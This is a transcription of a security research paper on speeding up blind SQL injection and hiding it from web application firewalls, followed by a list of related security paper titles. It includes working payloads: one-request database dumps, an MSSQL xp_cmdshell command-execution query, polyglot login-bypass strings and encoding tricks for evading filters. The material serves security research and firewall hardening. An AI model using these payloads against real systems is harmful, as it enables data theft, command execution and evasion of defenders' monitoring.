SQL Injection Optimization and Obfuscation Techniques
|
|
|
- August Mason
- 9 years ago
- Views:
Transcription
1 SQL Injection Optimization and Obfuscation Techniques By Roberto Salgado Introduction SQL Injections are without question one of the most dangerous web vulnerabilities around. With all of our information stored in databases, almost every detail about our lives is at the mercy of a simple HTTP request. As a solution, many companies implement Web Application Firewalls and Intrusion Detection/Prevention Systems to try to protect themselves. Unfortunately, these countermeasures are not sufficient and can easily be circumvented. This is all possible due to optimization and obfuscation techniques which have been perfected over the last 15 years since the discovery of this lethal vulnerability. Even though firewalls cannot not be relied on to prevent all attacks, some firewalls can be effective when used as a monitoring tool. It is not unheard of for an attacker to be detected and blocked during mid-attack, due to firewall triggers and an alert security team. Because of this, a SQL Injection that has been optimized and obfuscated has a much higher probability of being successful; it will extract the data faster and remain undetected for longer. In this paper we will discuss and compare a variety of optimization methods which can be highly effective when exploiting Blind SQL Injections. We will also introduce SQL queries which can be used to dump the whole database with just one request, making it an extremely easy to quickly retrieve data while going unnoticed. Furthermore, we will be reviewing several obfuscation techniques which can make a SQL Injection unrecognizable to firewalls. When combined, these techniques create a deadly attack which can be devastating. Optimization Optimization is often one of the most overlooked, yet important aspects when exploiting Blind SQL Injections. Not only will an optimized SQL Injection produce faster results, it also reduces the network congestion and is a lower burden on the server which in turn provides a lower risk of being detected. The difference in speed some methods offer is astonishing and can cut the amount of requests and time it takes to successfully extract data from a database by over a third when compared to traditional methods. In order to use these methods, we must understand how they work and how effective each one is, but before we begin to analyze and compare them, it is important to review some preliminary concepts beforehand. Computers can only understand numbers, for this reason ASCII (American Standard Code for Information Interchange) was created. An ASCII Code is a numerical representation of a letter or character. Any ASCII character can be represented in 1 byte or 8 bits, also known as an octet. When dealing with SQL Injections, we are usually not interested in the full ASCII range, as not all characters are valid or permitted in a database. It is for this reason that we will only focus on the ASCII range which leaves us with a set of 94 characters. This range can be represented with only 7 bits which leaves the most significant bit as 0. This will come in handy when further
2 optimizing the techniques since it allows us to shave off a request. The following table shows the ASCII range in its different forms: Decimal Hexadecimal Binary F Table 1: The MSB (most significant bit) is always off, allowing us to save an additional request. Analysis of Methods These methods are intended to be used with Blind SQL Injections when error showing is disabled, in which we generally have to retrieve 1 character at a time. Bisection Method The bisection method, also commonly known as the binary search algorithm in Computer Science, is a logarithmic algorithm and the most widely used method for extracting data through a SQL Injection; it is versatile, effective and straight forward to implement which makes it a popular choice among hackers and programmers. Using a finite list, the bisection method works by splitting the list in half and searching each half of the branch. It continues the process by splitting the half branch were the item was found and repeats until finished, this is why it is a dichotomic divide-and-conquer algorithm. When described in terms performance, it has the same worst case and average case scenario of log2(n), which leaves this method usually on the high end of its requests. When applied to SQL Injections additional requests are required to make this method work. Regex Method First introduced in a paper called Blind Sql Injection with Regular Expressions Attack by Simone Quatrini and Marco Rondini [2], this method is simply a variation of the bisection method which instead uses regular expressions. For MySQL, the technique makes use of the REGEXP function and for MSSQL, the LIKE statement which has similar functionality, but works slightly different. A small disadvantage to this method is the use of two different functions for each type of database. A suggested alternative is to use the BETWEEN function which exists in both MySQL and MSSQL; this would simplify the implementation by being able to use a single function for multiple databases. REGEXP '^[a-z]' True REGEXP '^[a-n]' True REGEXP '^[a-g]' False REGEXP '^[h-n]' True REGEXP '^[h-l]' False Table 2: An example of the REGEX method in use. Bitwise Methods There are several bitwise methods which are all slight variations from each other. When analyzing these methods, in most cases they all perform worse than the bisection method, for that reason this paper will not go into great length describing them. These methods use bitwise operations such as shifting [4] or ANDing for example, but these tend to be redundant since a binary is treated as a string in both MySQL and MSSQL, so it is possible to use the SUBSTRING function or similar to compare each individual bit to 1 or 0. The amount of requests is consistent
3 with these methods and will always be equivalent to the size of the binary string, usually 7 bits. An example of a bitwise shifting method which finds the letter a ( in binary and 97 in decimal) can be observed in the following table: Binary of a Bit to be shifted Binary result Decimal result >> >> >> >> >> >> >> Table 3: Bitwise shifting method shown retrieving the character a. Bin2Pos Method This method is my own invention and it is essentially an optimized searching technique which can retrieve a character with a minimum of only 1 request and a maximum of 6 requests. This method depends on a finite list of characters where each character gets mapped to its position on the list; mapping the characters to their position is important because it provides a smaller number to be retrieved when compared to the decimal value of the character. The position is then converted to binary and retrieved starting with the first occurrence of an on bit in the binary sequence. By converting the position to binary, we are effectively reducing the set of characters to look for to two (1 or 0). Additionally since we start with the first occurrence of an on bit, we can save one request since we know it will be a 1. Since the size of the binary will depend on the position of the character in the list, the closer the character is to the beginning of the list, the less amount of requests are needed to retrieve it. For this reason, we can order the list by the most frequent letters in the alphabet to optimize it even further. An example of the implementation in MySQL which uses a parameter with two different values (e.g. id=1, id=2) can be seen in the figure below using a hexadecimal set. IF((@a:=MID(BIN(POSITION(MID((SELECT password FROM users WHERE id=2 LIMIT 1),1,1)IN(CHAR(48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70))),1,1))!=space( 0),2-@a,0/0) Because the standard set size of 94 (32 126) uses up to 7 bits, this means the maximum size possible of the character to retrieve will be 7. It takes an additional request to determine that we have reached the end of the binary sequence. So by avoiding the first request and having to do an additional request at the end, this leaves us with a total of 7 requests. However, since we know 7 bits is the maximum length possible to be retrieved, if we already made 6 requests, we don t have to send an additional request to know when we have reached the end since we will have already reached the maximum length possible. This gives a worst case scenario of just 6 requests. The best case scenario is when the character is found in the first position of the list which would only require 1 request. The following illustration demonstrates this method using a set ordered alphabetically.
4 Figure 1: Only 2 requests are required to retrieve the character C. Optimizing Queries Now that we have overviewed some of the known methods for extracting data through a Blind SQL Injection, we will look at some optimized queries which can greatly expedite data extraction from the database. Ionut Maroiu demonstrated a technique for MySQL which allows the retrieval of all databases, tables and columns with a single request [1]. A similar technique exist for PostgreSQL and Oracle which were demonstrated by Dmitriy Serebryannikov [5] and another one for MSSQL discovered by Daniel Kachakil [3]. The following table shows an example of each of the described queries: MySQL MSSQL PostgreSQL Oracle SELECT (@) FROM (SELECT(@:=0x00),(SELECT(@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN(@:=CONCAT(@,0x0a,'[',table_schema,' ] >',table_name,' > ',column_name))))x SELECT table_name %2b',' FROM information_schema.tables FOR XML PATH('') SELECT array_to_json(array_agg(tables))::text FROM (SELECT schemaname, relname FROM pg_stat_user_tables) AS tables LIMIT 1; SELECT xmlagg(xmlelement( user, login : pass) ORDER BY login).getstringval() FROM users; Table 5: Different queries which retrieve multiple table & column entries with a single request. There are also more devastating single request attacks [6] which are possible because of stacked queries in MSSQL or even MySQL when using PDO or the new and improved extension mysqli for PHP. For example, the following query for MSSQL will check to see if xp_cmdshell is loaded, if it is enabled, it checks to see if it is active and if it is active it proceeds to run a command of your choice. ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)begin CREATE TABLE %23Data (dir
5 varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT color="black">'%2bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE DROP TABLE %23Data END ELSE not enabled' DROP TABLE %23xp_cmdshell END ELSE not found' AS tbl INTO TMP_DB-- For both a penetration tester and an attacker, testing for SQL Injections can become tedious. Some web applications can have endless amount of modules with infinite number of parameters. Furthermore, at least three separate tests are required for each possible type of SQL Injection: single, double and no quotations. With optimized queries, it is possible to reduce it all to one request. Injection type Normal Optimized No quotes OR 1=1 OR 1#"OR"'OR''='"="'OR''=' Single quotes OR = OR 1#"OR"'OR''='"="'OR''=' Double quotes OR = OR 1#"OR"'OR''='"="'OR''=' Table 6: The optimized injection allows us to test all three variations with a single request. Another example using AND: Injection type Normal Optimized No quotes AND 1=1!=0--+"!="'!=' Single quotes AND =!=0--+"!="'!=' Double quotes AND =!=0--+"!="'!=' Table 7: A variation of the optimized injection using AND logic. To further illustrate this optimized query in action consider the following injection: SELECT * FROM Users WHERE username= Admin and password = 1 OR 1#"OR"'OR''='"="'OR''=' SELECT * FROM Articles WHERE id = 1!=0--+"!="'!=' Obfuscation Obfuscation is one of the main tools for bypassing firewalls. By tricking the firewall into thinking our attacks are legitimate traffic, we can successfully deliver our payload without being detected. There are several methods that can be used to obfuscate our injections. Through the use of fuzzers, we can discover different possibilities that can be used for obfuscation. Although sometimes simplicity can be a better option and if all else fails, we can always resort to a variety of encodings. Fuzzers It is important for firewall developers to be fully aware of all the databases specifications and oddities. Some of these oddities are documented, others can only be found through fuzzing. One example of peculiarities discovered through the use of fuzzers are the permitted whitespace characters for each type of database. Each different RDBMS allows a variety of different whitespace characters instead of the usual 0x20. By switching the standard whitespace with other allowed whitespace characters, we can make our injection unrecognizable to certain firewalls allowing us to effectively bypass them.
6 RDBMS Allowed whitespaces SQLite 3 0A, 0D, 0C, 09, 20 MySQL 5 09, 0A, 0B, 0C, 0D, A0, 20 Oracle 11g 00, 09, 0A, 0B, 0C, 0D, 20 MSSQL , 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 25 Table 8: Valid whitespaces allowed in different RDBMS. While replacing whitespaces can be a useful trick, any sophisticated firewall will be capable of detecting most allowed whitespaces and subsequently will handle them appropriately. When firewalls become really good at deobfuscating injections, sometimes it can be best to take the opposite route and simplify the injection as much as possible. Just like many programming languages give us several different ways of achieving the same result, so does SQL. In some cases using the simplest approach can be the most effective; if our SQL Injection looks like plain English, it can be very difficult for the firewall to differentiate between normal text and SQL syntax. A good example is the following use of the CASE statement which can be appended after a WHERE statement: CASE WHEN BINARY TRUE THEN TRUE END IS NOT UNKNOWN HAVING TRUE FOR UPDATE Encodings Special encodings are another tool in the box to use when bypassing firewalls. Most of these encodings will depend on how the application processes the data. The web application may see the data in one way, while the proxy, firewall or database might interpret the data differently. It is because of these discrepancies between layers that encodings may work to bypass the firewall. URL encode Anyone who has browsed the web has seen this encoding before. URL Encoding is used to transform special characters, so they can be sent over HTTP. Characters get transformed to their hexadecimal equivalent, prefixed by a percent sign. Double URL encode This is simply the process of applying URL encode two times on the characters. All that is required is re-encoding of the percent sign. This encoding is successful if the data is decoded twice after having passed through the firewall and before reaching the database. Unicode encode Unicode is an industry standard for representing over 110,000 symbols and characters for a wide range of languages. It can be represented by different character encodings such as UTF-8, UTF-16, UTF-32 and others. This encoding generally works against IIS servers or applications built in ASP or.net. Encoding type Transformation URL encode %61 Double URL encode %2561 Unicode encode %u0061 Table 9: The following table shows each encoding for the character a.
7 UTF-8 encode UTF-8 is a form of encoding each one of the 1,114,112 code points (0 through 10FFFF) in the Unicode character set. The UTF stands for Unicode Transformation Format while the 8 means it uses 8-bit blocks to represent a character. The number of blocks required to represent a character vary from 1 to 4. Only 1 byte or block is required to represent characters from ASCII range 0-127, having the leading bit as 0. However, any code point higher than 127 needs to be represented with multi-byte sequences where the leading bits of the first byte, up to the first 0, represent the total number of following bytes to complete the sequence. The following bits after the first 0 in the first byte form part of character. Each consecutive byte has 10 in the high-order position, however these two bits are redundant. The xx s in the chart [8] below represent the actual bits of data. Bits of code point First code point Last code point Bytes in sequence 7 U+0000 U+007F 1 0xxxxxxx 11 U+0080 U+07FF 2 110xxxxx 10xxxxxx Byte 1 Byte 2 Byte 3 Byte 4 Byte 5 Byte 6 16 U+0800 U+FFFF xxxx 10xxxxxx 10xxxxxx 21 U U+1FFFFF xxx 10xxxxxx 10xxxxxx 10xxxxxx 26 U U U+3FFFFF F U+7FFFFF FF xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx Table 10: Here are the representations of different UTF-8 multi-byte encodings. Because the first two high order bits after the first byte are not needed, applications may just read the six last bits allowing us to replace the first two most significant bits with 00, 01 or 11. Byte Sequence Character a encoded First two high order bits 2 byte sequence %c1%a byte sequence %c1% byte sequence %c1% byte sequence %c1%e byte sequence %e0%81%a1 10 Table 11: Several different UTF-8 representations of the character a. Nibble encode A nibble is 4 bits, therefor there are sixteen (2**4) possible values, so a nibble corresponds to a single hexadecimal digit. Since every character from ASCII range can be represented in 1 byte, we can URL encode the 4 most significant bits, the 4 least significant bits or both of them. This is commonly known as First Nibble, Second Nibble and Double Nibble encode
8 Type Transformation of %61 Result First Nibble 6 = %36 %%361 Second Nibble 1 = %31 %6%31 Double Nibble 6 = %36 %%36%31 1 = %31 Table 12: Examples of first, second and double nibble encodings. Invalid Percent encode Invalid percent encoding is specific to.net/iis applications. By adding the percent sign in between characters which are not valid hex, IIS will strip the character making the data valid. However any firewall that is unaware of this behavior will leave the percent sign which in turn mangles the SQL syntax making it undetectable to the firewall. What the data looks like to the firewall: %UNI%ON %SE%LE%CT 1 %FR%OM %D%U%A%L What the data looks like to IIS: UNION SELECT 1 FROM DUAL Invalid Hex encode Invalid Hex [7] isn t exactly an encoding, instead it is a way of abusing how some applications may handle the conversion of hexadecimal to decimal. The idea is to create invalid hex that results in the same decimal value as valid hex. Depending on how the application handles and transforms the data, it may see %2Ú as the same as %61. Hex Character Conversion Decimal %61 6 * %2Ú 2 * Table 13: Converting the invalid hex results in the same decimal value as valid hex when converted. Decimal Valid Hex Invalid Hex 10 0A 0A 11 0B 0B 12 0C 0C 13 0D 0D 14 0E 0E 15 0F 0F G H Table 14: Invalid hex uses a full alphabet where valid hex only uses A-F.
9 Conclusion As a result of the advances in optimization and obfuscation, firewall developers and maintainers need to be more aware than ever when keeping their firewall s core rule set up to date. Because detecting all possible variations of SQL Injections is virtually an impossible task, firewalls can never be fully trusted as an adequate security measure to stop a SQL Injection attack and should only be relied on to alert when the attack is taking place. Even though firewalls can help detect and block attacks early on, with new optimization techniques allowing an attacker to execute his attack with just one request, it is imperative to resort to other measures. For these reasons, it is of utmost importance for the software to undergo rigorous security audits and only use the firewall as a first line of defense. References [1] Advanced Data Mining in MySQL Injections using Subqueries & Custom Variables by Ionut Maroiu - [2] Blind Sql Injection with Regular Expressions Attack by Simone Quatrini and Marco Rondini - [3] Fast data extraction using SQL injection and XML statements by Daniel Kachakil - [4] Faster Blind MySQL Injection Using Bit Shifting by Jelmer de Hen - [5] Faster exploitation methods in Oracle and PostgreSQL by Dmitriy Serebryannikov [6] SQL Injection Knowledge Base - [7] URI Encoding to Bypass IDS/IPS - [8] UTF-8 Chart -
SQL injection: Not only AND 1=1. The OWASP Foundation. Bernardo Damele A. G. Penetration Tester Portcullis Computer Security Ltd
SQL injection: Not only AND 1=1 Bernardo Damele A. G. Penetration Tester Portcullis Computer Security Ltd [email protected] +44 7788962949 Copyright Bernardo Damele Assumpcao Guimaraes Permission
Advanced PostgreSQL SQL Injection and Filter Bypass Techniques
Advanced PostgreSQL SQL Injection and Filter Bypass Techniques INFIGO-TD TD-200 2009-04 2009-06 06-17 Leon Juranić [email protected] INFIGO IS. All rights reserved. This document contains information
Automating SQL Injection Exploits
Automating SQL Injection Exploits Mike Shema IT Underground, Berlin 2006 Overview SQL injection vulnerabilities are pretty easy to detect. The true impact of a vulnerability is measured
METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION DMITRY EVTEEV
METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION DMITRY EVTEEV JANUARY 28TH, 2010 [ 1 ] INTRO 3 [ 2 ] ERROR-BASED BLIND SQL INJECTION IN MYSQL 5 [ 3 ] UNIVERSAL EXPLOITATION TECHNIQUES FOR OTHER DATABASES
SECURING APACHE : THE BASICS - III
SECURING APACHE : THE BASICS - III Securing your applications learn how break-ins occur Shown in Figure 2 is a typical client-server Web architecture, which also indicates various attack vectors, or ways
Testing Web Applications for SQL Injection Sam Shober [email protected]
Testing Web Applications for SQL Injection Sam Shober [email protected] Abstract: This paper discusses the SQL injection vulnerability, its impact on web applications, methods for pre-deployment and
SQL Injection January 23, 2013
Web-based Attack: SQL Injection SQL Injection January 23, 2013 Authored By: Stephanie Reetz, SOC Analyst Contents Introduction Introduction...1 Web applications are everywhere on the Internet. Almost Overview...2
Webapps Vulnerability Report
Tuesday, May 1, 2012 Webapps Vulnerability Report Introduction This report provides detailed information of every vulnerability that was found and successfully exploited by CORE Impact Professional during
Guarding Against SQL Server Attacks: Hacking, cracking, and protection techniques.
Guarding Against SQL Server Attacks: Hacking, cracking, and protection techniques. In this information age, the data server has become the heart of a company. This one piece of software controls the rhythm
Time-Based Blind SQL Injection using Heavy Queries A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool
Time-Based Blind SQL Injection using Heavy Queries A practical approach for MS SQL Server, MS Access, Oracle and MySQL databases and Marathon Tool Authors: Chema Alonso, Daniel Kachakil, Rodolfo Bordón,
EC-Council CAST CENTER FOR ADVANCED SECURITY TRAINING. CAST 619 Advanced SQLi Attacks and Countermeasures. Make The Difference CAST.
CENTER FOR ADVANCED SECURITY TRAINING 619 Advanced SQLi Attacks and Countermeasures Make The Difference About Center of Advanced Security Training () The rapidly evolving information security landscape
Web Application Security
E-SPIN PROFESSIONAL BOOK Vulnerability Management Web Application Security ALL THE PRACTICAL KNOW HOW AND HOW TO RELATED TO THE SUBJECT MATTERS. COMBATING THE WEB VULNERABILITY THREAT Editor s Summary
SQL Injection. Sajjad Pourali [email protected] CERT of Ferdowsi University of Mashhad
SQL Injection Sajjad Pourali [email protected] CERT of Ferdowsi University of Mashhad SQL Injection Ability to inject SQL commands into the database engine Flaw in web application, not the DB or web
1 Web Application Firewalls implementations, common problems and vulnerabilities
Bypassing Web Application Firewalls Pavol Lupták [email protected] CEO, Nethemba s.r.o Abstract The goal of the presentation is to describe typical obfuscation attacks that allow an attacker to
The SQL Injection and Signature Evasion
The SQL Injection and Signature Evasion Protecting Web Sites Against SQL Injection SQL injection is one of the most common attack strategies employed by attackers to steal identity and other sensitive
ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION
ASL IT SECURITY BEGINNERS WEB HACKING AND EXPLOITATION V 2.0 A S L I T S e c u r i t y P v t L t d. Page 1 Overview: Learn the various attacks like sql injections, cross site scripting, command execution
White Paper. Blindfolded SQL Injection
White Paper In the past few years, SQL Injection attacks have been on the rise. The increase in the number of Database based applications, combined with various publications that explain the problem and
1. Building Testing Environment
The Practice of Web Application Penetration Testing 1. Building Testing Environment Intrusion of websites is illegal in many countries, so you cannot take other s web sites as your testing target. First,
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda
Secure Web Application Coding Team Introductory Meeting December 1, 2005 1:00 2:00PM Bits & Pieces Room, Sansom West Room 306 Agenda 1. Introductions for new members (5 minutes) 2. Name of group 3. Current
VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES. AUTHOR: Chema Alonso
VIDEO intypedia007en LESSON 7: WEB APPLICATION SECURITY - INTRODUCTION TO SQL INJECTION TECHNIQUES AUTHOR: Chema Alonso Informática 64. Microsoft MVP Enterprise Security Hello and welcome to Intypedia.
SQL Injection. The ability to inject SQL commands into the database engine through an existing application
SQL Injection The ability to inject SQL commands into the database engine through an existing application 1 What is SQL? SQL stands for Structured Query Language Allows us to access a database ANSI and
Web Application Attacks And WAF Evasion
Web Application Attacks And WAF Evasion Ahmed ALaa (EG-CERT) 19 March 2013 What Are We Going To Talk About? - introduction to web attacks - OWASP organization - OWASP frameworks - Crawling & info. gathering
Security Assessment of Waratek AppSecurity for Java. Executive Summary
Security Assessment of Waratek AppSecurity for Java Executive Summary ExecutiveSummary Security Assessment of Waratek AppSecurity for Java! Introduction! Between September and November 2014 BCC Risk Advisory
Chapter 4: Computer Codes
Slide 1/30 Learning Objectives In this chapter you will learn about: Computer data Computer codes: representation of data in binary Most commonly used computer codes Collating sequence 36 Slide 2/30 Data
Agenda. SQL Injection Impact in the Real World. 8.1. Attack Scenario (1) CHAPTER 8 SQL Injection
Agenda CHAPTER 8 SQL Injection Slides adapted from "Foundations of Security: What Every Programmer Needs To Know" by Neil Daswani, Christoph Kern, and Anita Kesavan (ISBN 1590597842; http://www.foundationsofsecurity.com).
Understanding Sql Injection
Understanding Sql Injection Hardik Shah Understanding SQL Injection Introduction: SQL injection is a technique used by a malicious user to gain illegal access on the remote machines through the web applications
Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH [email protected] January 17, 2014 2014 Mega Conference
Cracking the Perimeter via Web Application Hacking Zach Grace, CISSP, CEH [email protected] January 17, 2014 2014 Mega Conference About 403 Labs 403 Labs is a full-service information security and compliance
External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION
External Vulnerability Assessment -Technical Summary- Prepared for: ABC ORGANIZATI On March 9, 2008 Prepared by: AOS Security Solutions 1 of 13 Table of Contents Executive Summary... 3 Discovered Security
Web Application Disassembly with ODBC Error Messages By David Litchfield Director of Security Architecture @stake http://www.atstake.
Web Application Disassembly with ODBC Error Messages By David Litchfield Director of Security Architecture @stake http://www.atstake.com Introduction This document describes how to subvert the security
How I hacked PacketStorm (1988-2000)
Outline Recap Secure Programming Lecture 8++: SQL Injection David Aspinall, Informatics @ Edinburgh 13th February 2014 Overview Some past attacks Reminder: basics Classification Injection route and motive
Web Application Firewall Bypassing
Web Application Firewall Bypassing how to defeat the blue team KHALIL BIJJOU CYBER RISK SERVICES DELOITTE 29 th Octobre 2015 STRUCTURE Motivation & Objective Introduction to Web Application Firewalls Bypassing
Blindfolded SQL Injection. Written By: Ofer Maor Amichai Shulman
Blindfolded SQL Injection Written By: Ofer Maor Amichai Shulman Table of Contents Overview...3 Identifying Injections...5 Recognizing Errors...5 Locating Errors...6 Identifying SQL Injection Vulnerable
Knocker main application User manual
Knocker main application User manual Author: Jaroslav Tykal Application: Knocker.exe Document Main application Page 1/18 U Content: 1 START APPLICATION... 3 1.1 CONNECTION TO DATABASE... 3 1.2 MODULE DEFINITION...
Offensive Security. Advanced Web Attacks and Exploitation. Mati Aharoni Devon Kearns. v. 1.0
Offensive Security Advanced Web Attacks and Exploitation v. 1.0 Mati Aharoni Devon Kearns Course Overview The days of porous network perimeters are fading fast as services become more resilient and harder
CHAPTER 5 INTELLIGENT TECHNIQUES TO PREVENT SQL INJECTION ATTACKS
66 CHAPTER 5 INTELLIGENT TECHNIQUES TO PREVENT SQL INJECTION ATTACKS 5.1 INTRODUCTION In this research work, two new techniques have been proposed for addressing the problem of SQL injection attacks, one
SQL Injection. By Artem Kazanstev, ITSO and Alex Beutel, Student
SQL Injection By Artem Kazanstev, ITSO and Alex Beutel, Student SANS Priority No 2 As of September 2009, Web application vulnerabilities such as SQL injection and Cross-Site Scripting flaws in open-source
Network Intrusion Detection Signatures, Part One by Karen Kent Frederick last updated December 19, 2001
Karen Kent Frederick ([email protected]) is a senior security engineer for the Rapid Response Team at NFR Security. She is a graduate of the University of Wisconsin- Parkside and is currently completing
Introduction to SQL for Data Scientists
Introduction to SQL for Data Scientists Ben O. Smith College of Business Administration University of Nebraska at Omaha Learning Objectives By the end of this document you will learn: 1. How to perform
Detect and Sanitise Encoded Cross-Site Scripting and SQL Injection Attack Strings Using a Hash Map
Detect and Sanitise Encoded Cross-Site Scripting and SQL Injection Attack Strings Using a Hash Map Erwin Adi and Irene Salomo School of Computer Science BINUS International BINUS University, Indonesia
Bypassing Web Application Firewalls (WAFs) Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant
Bypassing Web Application Firewalls (WAFs) Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant Nethemba All About Security Highly experienced certified IT security experts (CISSP, C EH, SCSecA) Core
Advanced SQL Injection
Advanced SQL Injection December 2012 Guillaume Loizeau Regional Sales Manager, DB Security McAfee Agenda What is SQL Injection In-band Injection Out-of-band Injection Blind Injection Advanced techniques
Exposed Database( SQL Server) Error messages Delicious food for Hackers
Exposed Database( SQL Server) Error messages Delicious food for Hackers The default.asp behavior of IIS server is to return a descriptive error message from the application. By attacking the web application
What? Me, Worry? I've Already Been Hacked. Haven't You?
What? Me, Worry? I've Already Been Hacked. Haven't You? David Maman Co-Founder, CTO GreenSQL Session ID: Session Classification: DSP-F43 General Interest #1 Global Security Challenge Sophisticated attacks:
SQL INJECTION ATTACKS By Zelinski Radu, Technical University of Moldova
SQL INJECTION ATTACKS By Zelinski Radu, Technical University of Moldova Where someone is building a Web application, often he need to use databases to store information, or to manage user accounts. And
SQL Injection 2.0: Bigger, Badder, Faster and More Dangerous Than Ever. Dana Tamir, Product Marketing Manager, Imperva
SQL Injection 2.0: Bigger, Badder, Faster and More Dangerous Than Ever Dana Tamir, Product Marketing Manager, Imperva Consider this: In the first half of 2008, SQL injection was the number one attack vector
SQL Injection. SQL Injection. CSCI 4971 Secure Software Principles. Rensselaer Polytechnic Institute. Spring 2010 ...
SQL Injection CSCI 4971 Secure Software Principles Rensselaer Polytechnic Institute Spring 2010 A Beginner s Example A hypothetical web application $result = mysql_query(
Manipulating Microsoft SQL Server Using SQL Injection
Manipulating Microsoft SQL Server Using SQL Injection Author: Cesar Cerrudo ([email protected]) APPLICATION SECURITY, INC. WEB: E-MAIL: [email protected] TEL: 1-866-9APPSEC 1-212-947-8787 INTRODUCTION
Hacker Intelligence Initiative, Monthly Trend Report #4
September 2011 Hacker Intelligence Initiative, Monthly Trend Report #4 Hacker Intelligence Summary Report An Anatomy of a SQL Injection Attack This month s report from Imperva s Hacker Intelligence Initiative
SQL INJECTION TUTORIAL
SQL INJECTION TUTORIAL A Tutorial on my-sql Author:- Prashant a.k.a t3rm!n4t0r C0ntact:- [email protected] Greets to: - vinnu, b0nd, fb1h2s,anarki, Nikhil, D4Rk357, Beenu Special Greets to: - Hackers
Web Forensic Evidence of SQL Injection Analysis
International Journal of Science and Engineering Vol.5 No.1(2015):157-162 157 Web Forensic Evidence of SQL Injection Analysis 針 對 SQL Injection 攻 擊 鑑 識 之 分 析 Chinyang Henry Tseng 1 National Taipei University
WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats
WHITE PAPER FortiWeb and the OWASP Top 10 PAGE 2 Introduction The Open Web Application Security project (OWASP) Top Ten provides a powerful awareness document for web application security. The OWASP Top
Cyber Security Challenge Australia 2014
Cyber Security Challenge Australia 2014 www.cyberchallenge.com.au CySCA2014 Web Penetration Testing Writeup Background: Pentest the web server that is hosted in the environment at www.fortcerts.cysca Web
Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper
Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks Whitepaper The security industry has extensively focused on protecting against malicious injection attacks like
External Network & Web Application Assessment. For The XXX Group LLC October 2012
External Network & Web Application Assessment For The XXX Group LLC October 2012 This report is solely for the use of client personal. No part of it may be circulated, quoted, or reproduced for distribution
SQL Injection Attacks: Detection in a Web Application Environment
SQL Injection Attacks: Detection in a Web Application Environment Table of Contents 1 Foreword... 1 2 Background... 3 2.1 Web Application Environment... 3 2.2 SQL Attack Overview... 3 2.3 Applications
Token Sequencing Approach to Prevent SQL Injection Attacks
IOSR Journal of Computer Engineering (IOSRJCE) ISSN : 2278-0661 Volume 1, Issue 1 (May-June 2012), PP 31-37 Token Sequencing Approach to Prevent SQL Injection Attacks ManveenKaur 1,Arun Prakash Agrawal
ASL IT Security Advanced Web Exploitation Kung Fu V2.0
ASL IT Security Advanced Web Exploitation Kung Fu V2.0 A S L I T S e c u r i t y P v t L t d. Page 1 Overview: There is a lot more in modern day web exploitation than the good old alert( xss ) and union
Hacker Intelligence Initiative, Monthly Trend Report #15
January 2013 Hacker Intelligence Initiative, Monthly Trend Report #15 Lessons Learned From the Yahoo! Hack How SQL Injection Vulnerabilities in Third-Party Code Can Make for Security Cloudy 1. Executive
Using SQL Server Management Studio
Using SQL Server Management Studio Microsoft SQL Server Management Studio 2005 is a graphical tool for database designer or programmer. With SQL Server Management Studio 2005 you can: Create databases
Web Development using PHP (WD_PHP) Duration 1.5 months
Duration 1.5 months Our program is a practical knowledge oriented program aimed at learning the techniques of web development using PHP, HTML, CSS & JavaScript. It has some unique features which are as
SQL Server An Overview
SQL Server An Overview SQL Server Microsoft SQL Server is designed to work effectively in a number of environments: As a two-tier or multi-tier client/server database system As a desktop database system
Start Secure. Stay Secure. Blind SQL Injection. Are your web applications vulnerable? By Kevin Spett
Are your web applications vulnerable? By Kevin Spett Table of Contents Introduction 1 What is? 1 Detecting Vulnerability 2 Exploiting the Vulnerability 3 Solutions 6 The Business Case for Application Security
Barracuda Web Application Firewall vs. Intrusion Prevention Systems (IPS) Whitepaper
Barracuda Web Application Firewall vs. Intrusion Prevention Systems (IPS) Whitepaper Securing Web Applications As hackers moved from attacking the network to attacking the deployed applications, a category
ORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORM Mikhail Egorov Sergey Soldatov Short BIO - Mikhail Egorov Application Security Engineer at Odin [ http://www.odin.com ] Security researcher and bug hunter
Pre-authentication XXE vulnerability in the Services Drupal module
Pre-authentication XXE vulnerability in the Services Drupal module Security advisory 24/04/2015 Renaud Dubourguais www.synacktiv.com 14 rue Mademoiselle 75015 Paris 1. Vulnerability description 1.1. The
ICTN 4040. Enterprise Database Security Issues and Solutions
Huff 1 ICTN 4040 Section 001 Enterprise Information Security Enterprise Database Security Issues and Solutions Roger Brenton Huff East Carolina University Huff 2 Abstract This paper will review some of
SQL Injection for newbie
